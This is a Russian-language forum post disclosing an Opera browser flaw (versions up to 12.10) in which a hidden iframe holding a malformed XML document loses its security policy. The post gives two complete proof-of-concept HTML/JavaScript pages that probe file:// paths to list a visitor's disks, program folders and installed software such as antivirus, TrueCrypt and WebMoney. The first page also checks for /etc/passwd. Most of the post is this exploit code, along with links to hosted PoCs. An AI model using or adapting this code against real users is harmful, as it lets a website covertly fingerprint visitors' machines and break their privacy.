follow Уязвимость аналогична той, которую я нашел в прошлом году - http://forum.antichat.net/thread307415.html Загружаем во фрейм xml-документ с ошибкой синтаксиса, получаем вывод сообщения об ошибке. При выводе ошибки opera подгружает локальный css-файл, при этом отключая политику безопасности. После замены содержимого фрейма, xml-документ обрабатывается как html. Для проверки статуса загрузки файла на этот раз использую свойство complete обекта image. PoC (Windows, Linux; Opera < 12.10) http://mscript.biz/opera_localfiles.html Исходник PHP: <html> <body> <iframe style="width:0px;height:0px;visibility:hidden" src="data:text/xml,"></iframe> <script> var ifr = frames[0].document.documentElement; var diskArr = 'CDEFGHIJKLMNOPQRSTUVWXYZ'; var diskDiv = document.createElement('div'); diskDiv.innerHTML = '<b>disks:</b><br>'; document.body.appendChild(diskDiv); var dirArr = new Array( 'program files', 'program files (x86)' ); var dirDiv = document.createElement('div'); dirDiv.innerHTML = '<br><b>program folders:</b><br>'; document.body.appendChild(dirDiv); var progArr = new Array( 'adobe', 'akelpad', 'alcohol soft', 'avira', 'charles', 'daemon tools lite', 'drweb', 'eset', 'filezilla ftp client', 'filezilla ftp server', 'icq7.1', 'icq7.2', 'icq7.3', 'icq7.4', 'icq7.5', 'icq7.6', 'icq7.7', 'kaspersky lab', 'mcafee', 'microsoft office', 'microsoft visual studio', 'microsoft.net', 'mozilla firefox', 'nmap', 'nvidia corporation', 'notepad++', 'psi+', 'paragon software', 'qip', 'qip2010', 'qip2011', 'skype', 'teamviewer', 'total commander', 'truecrypt', 'utorrent', 'webmoney', 'winpcap', 'winrar', 'wireshark' ); var progDiv = document.createElement('div'); progDiv.innerHTML = '<br><b>programs:</b><br>'; document.body.appendChild(progDiv); function add(name, type, img) { if(img.complete) { switch(type) { case 0: diskDiv.innerHTML += name + '<br>'; checkDir(name); break case 1: dirDiv.innerHTML += name + '<br>'; checkProg(name); break; case 2: progDiv.innerHTML += name + '<br>'; break; case 3: progDiv.innerHTML += name + '<br>'; } } else if(type == 3) { checkDisk(); } } function checkProg(dir) { for(var j in progArr) ifr.innerHTML = "<img src='file://" + dir + '/' + progArr[j] + "' onerror='top.add(\"" + dir + '/' + progArr[j] + "\", 2, this)'>"; } function checkDir(disk) { for(var j in dirArr) ifr.innerHTML = "<img src='file://" + disk + '/' + dirArr[j] + "' onerror='top.add(\"" + disk + '/' + dirArr[j] + "\", 1, this)'>"; } function checkDisk() { for(var i in diskArr) ifr.innerHTML = "<img src='file://" + diskArr[i] + ":' onerror='top.add(\"" + diskArr[i] + ":\", 0, this)'>"; } (function() { ifr.innerHTML = "<img src='file://localhost/etc/passwd' onerror='top.add(\"/etc/passwd\", 3, this)'>"; })() </script> </body> </html> тема на rdot.org
6 ноября вышла новая версия браузера Opera - 12.10, ошибка не исправлена. Кое-какие изменения все же есть, поэтому предыдущий пример уже не работает. Теперь свойство complete обекта image зависит от типа файла, поэтому подходит только для проверки изображений. PoC (Windows; Opera 12.10) http://mscript.biz/opera_localfiles2.html PHP: <html> <body> <iframe style="width:0px;height:0px;visibility:hidden" src="data:text/xml,"></iframe> <script> var ifr = frames[0].document.documentElement; var diskArr = 'CDEFGHIJKLMNOPQRSTUVWXYZ'; var diskDiv = document.createElement('div'); diskDiv.innerHTML = '<b>disks:</b><br>'; document.body.appendChild(diskDiv); var dirArr = new Array( 'program files', 'program files (x86)' ); var dirDiv = document.createElement('div'); dirDiv.innerHTML = '<br><b>program folders:</b><br>'; document.body.appendChild(dirDiv); var progArr = new Array( 'adobe', 'akelpad', 'alcohol soft', 'avira', 'charles', 'daemon tools lite', 'drweb', 'eset', 'filezilla ftp client', 'filezilla ftp server', 'icq7.1', 'icq7.2', 'icq7.3', 'icq7.4', 'icq7.5', 'icq7.6', 'icq7.7', 'kaspersky lab', 'mcafee', 'microsoft office', 'microsoft visual studio', 'microsoft.net', 'mozilla firefox', 'nmap', 'nvidia corporation', 'notepad++', 'psi+', 'paragon software', 'qip', 'qip2010', 'qip2011', 'skype', 'teamviewer', 'total commander', 'truecrypt', 'utorrent', 'webmoney', 'winpcap', 'winrar', 'wireshark' ); var progDiv = document.createElement('div'); progDiv.innerHTML = '<br><b>programs:</b><br>'; document.body.appendChild(progDiv); function add(name, type, scr) { ifr.all[0].removeChild(scr); switch(type) { case 0: diskDiv.innerHTML += name + '<br>'; checkDir(name); break case 1: dirDiv.innerHTML += name + '<br>'; checkProg(name); break; case 2: progDiv.innerHTML += name + '<br>'; break; } } function checkProg(dir) { for(var i in progArr) { var scr = document.createElement('script'); scr.onload = new Function('top.add("' + dir + '/' + progArr[i] + '", 2, this)'); scr.src = 'file://' + dir + '/' + progArr[i]; ifr.all[0].appendChild(scr); } } function checkDir(disk) { for(var i in dirArr) { var scr = document.createElement('script'); scr.onload = new Function('top.add("' + disk + '/' + dirArr[i] + '", 1,this)'); scr.src = 'file://' + disk + '/' + dirArr[i]; ifr.all[0].appendChild(scr); } } (function checkDisk() { for(var i in diskArr) { var scr = document.createElement('script'); scr.onload = new Function('top.add("' + diskArr[i] + ':", 0, this)'); scr.src = 'file://' + diskArr[i] + ':'; ifr.all[0].appendChild(scr); } })() </script> </body> </html>